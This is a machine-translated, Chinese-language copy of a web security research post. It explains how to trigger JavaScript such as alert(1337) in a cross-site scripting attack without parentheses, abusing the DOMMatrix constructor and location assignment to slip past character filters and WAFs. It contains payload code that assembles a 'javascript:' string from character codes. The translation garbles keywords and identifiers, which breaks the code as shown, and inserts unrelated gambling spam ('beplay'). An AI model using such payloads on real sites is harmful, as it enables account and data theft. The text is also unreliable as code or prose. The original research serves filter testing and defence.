使用dommatrix无括号的JavaScript

使用dommatrix无括号的JavaScript

每一次,您会发现看起来像健康的东西XSS脆弱性,只是为了防止剥削的有限的炭化者猛击您的头部。一个常见的限制是一个不允许您使用括号的网站:()。beplay体育能用吗有两种特殊挑战的经典解决方案,但两者都有缺陷beplay维护得多久:

位置=名称依靠外部网站,并且在Safari中失败了beplay体育能用吗清除窗口。X-Origin导航上的名称
OnError =警报;投掷1WAFS阻止关键字“投掷”越来越挫败。

有三分之一更好吗?Terjanqsla.ckers,我从最新的研究史诗(出版日期TBC,没有猜测原因的奖品)中休息了一段时间来找到答案。

我正在与受限制的魅力合作a-z a-z';+。:=。您可以使用ToString/valueof但是您不能将参数传递给该功能,这使其非常限制。似乎也不可能提取字符串的部分。您只能将第一个字符获得对象的tostring值。例如对象新的Regexp返回一个值/(?:)/您可以使用第一个字符的价值string.prototype.charat。这是因为charat没有任何参数被调用,这返回第一个字符:

X =新Regexp;
X.Valueof = String.prototype.charat;
X+''//返回单个/

不幸的是你不能使用的价值有了字符串文字,因此您甚至无法获得第一个角色,从而不介意字符串文字之间的任何字符。我需要找到的是一个小工具,它可以让我生成我无法访问的角色。我用了黑客检查员枚举窗户对象,并使用执行每个属性功能的JavaScript但是它没有返回任何有用的字符。在与JavaScript玩了一会儿之后,我意识到新的操作员可以使我能够生成许多新角色。我再次使用检查员,我想出了一个脚本所有枚举对象上的新操作员窗户,在控制台中,我找到了一个生成括号的构造函数:dommatrix构造函数!该构造函数将生成一个对象,该对象具有一个看起来像带有括号的函数调用的对象。例如,调用Dommatrix构造函数将生成以下内容:

console.log(新Dommatrix+'')
>矩阵(1,0,0,1,0,0,0)

实际上,我可以生成一个包含括号的字符串,该字符串称为称为矩阵的函数,带有参数1,0,0,1,0,0但是有两个问题:1)我需要控制调用的函数,2)我需要控制发送给该功能的参数。我可以通过简单地将函数分配给矩阵变量来解决第一个问题。

x = new Dommatrix;
矩阵= alert;

对于第二个问题,我检查了Dommatrix构造函数返回的矩阵对象,并注意到它具有称为“ A”的属性,该属性可以控制发送给该函数的第一个参数:

X.A = 1337;

将这全部放在一起是滥用Dommatrix的方法来调用警报(1337):

x = new Dommatrix;
矩阵= alert;
X.A = 1337;
位置='javascript'+':'+x

您可能想知道如何执行任意代码。发送到矩阵函数的参数必须是数字,但这不是问题,因为您可以使用字符串。例如,fromcharcode生成发送到接收器的字符(例如位置)。通过用string.fromcharcode并使用地点分配以评估矩阵代码并返回所需的字符。您必须使用矩阵对象的6个属性,否则它们默认为0或1,该属性会生成语法错误。然后,您需要再次使用位置分配,以便使用第二个位置分配执行生成的字符串作为JavaScript。

x = new Dommatrix;
matrix = string.fromcharcode;
i = new dommatrix;
i.a = 106; // j
i.b = 97; // a
i.c = 118; // v
i.d = 97; // a
即= 115; // s
i.f = 99; // c
j = new dommatrix;
j.a = 114; // r
j.b = 105; // i
j.c = 112; // p
j.d = 116; // t
j.e = 58; //:
j.f = 32; //空间
X.A = 97; // a
X.B = 108; // L
X.C = 101; // E
X.D = 114; // R
X.E = 116; // T
x.f = 40; //(
y = new dommatrix;
Y.A = 49; // 1
y.b = 51; // 3
y.c = 51; // 3
y.d = 55; // 7
y.e = 41; //)
y.f = 59; //;
位置='javascript:a ='+i+'+'+j+'+'+x+'+'+y+'+'; location = a; void 1'

在上面的代码中,您必须使用地点两次,一次生成角色,第二次评估这些角色。这void 1最后,返回未定义,并防止浏览器编写第二个位置分配为HTML。

还有另一个可以以类似方式使用的构造函数,但是我们强烈怀疑我们的博客文章正在将复制+粘贴到WAF黑名单中,因此我们现在将其保留在自己身上。

如果您喜欢这篇文章,我们有一些有关此主题的类似帖子我们还发布了一个学院实验室,启发了SLA.CKERS讨论和此博客文章,因此,如果您想尝试这些技术,请查看我们的实验室

最后,我忍不住打破野生动物园的窗口。名称保护。这是一个使用窗口的概念证明。存储XSS有效载荷。它通过使用目标属性设置窗口名称而不是JavaScript来起作用:

poc

享受并保持安全!

回到所有文章

相关的研究

每日Swig的推荐故事beplay2018官网